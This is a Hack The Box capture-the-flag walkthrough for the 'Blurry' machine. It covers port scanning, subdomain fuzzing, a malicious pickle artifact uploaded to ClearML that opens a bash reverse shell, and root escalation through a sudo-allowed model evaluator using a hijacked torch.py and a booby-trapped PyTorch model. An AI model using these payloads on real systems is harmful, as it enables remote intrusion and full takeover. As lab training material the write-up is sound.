Hackthebox - Blurry

0x1 Initial Reconnaissance

Nmap Results:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0

0x2 Subdomain Enumeration

ffuf -u "http://IP" -H "Host: FUZZ.blurry.htb" -w /path/to/wordlist -fs 169

Found Subdomains:

  • app.blurry.htb
  • files.blurry.htb
  • chat.blurry.htb

0x3 Exploiting ClearML

  • Registering on ClearML:
pip install clearml
clearml-init

Update clearml.conf with:

api {
  web_server: http://app.blurry.htb
  api_server: http://app.blurry.htb/api
  files_server: http://files.blurry.htb
  credentials {
    "access_key" = "KEY"
    "secret_key" = "SECRET"
  }
}
  • Uploading a Malicious Artifact:
import pickle, os

class RunCommand:
    def __reduce__(self):
        return (os.system, ('/bin/bash -c "/bin/bash -i >& /dev/tcp/IP/444 0>&1"',))

command = RunCommand()

from clearml import Task
task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"])
task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")

Set up a listener on your machine:

nc -lvnp 4444

0x4 Privilege Escalation

  • Sudo Permissions:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
  • Hijacking Python Libraries:
echo 'import os; os.system("bash")' > /models/torch.py
sudo /usr/bin/evaluate_model /models/demo_model.pth
  • Replace evaluate_model.py:
jippity@blurry:/models$ rm evaluate_model.py 
rm: remove write-protected regular file 'evaluate_model.py'? y
jippity@blurry:/models$ echo 'import os; os.system("bash")' > evaluate_model.py
jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/demo_model.pth 
  • Custom malicious model:
import torch
import torch.nn as nn
import os

class CustomModel(nn.Module):
    def __init__(self):
        super(CustomModel, self).__init__()
        self.linear = nn.Linear(10, 1)

    def forward(self, hi):
        return self.linear(hi)

    def __reduce__(self):
        cmd = "bash"
        return os.system, (cmd,)

model = CustomModel()
torch.save(model, '/models/root.pth')

Run the model evaluation:

sudo /usr/bin/evaluate_model /models/root.pth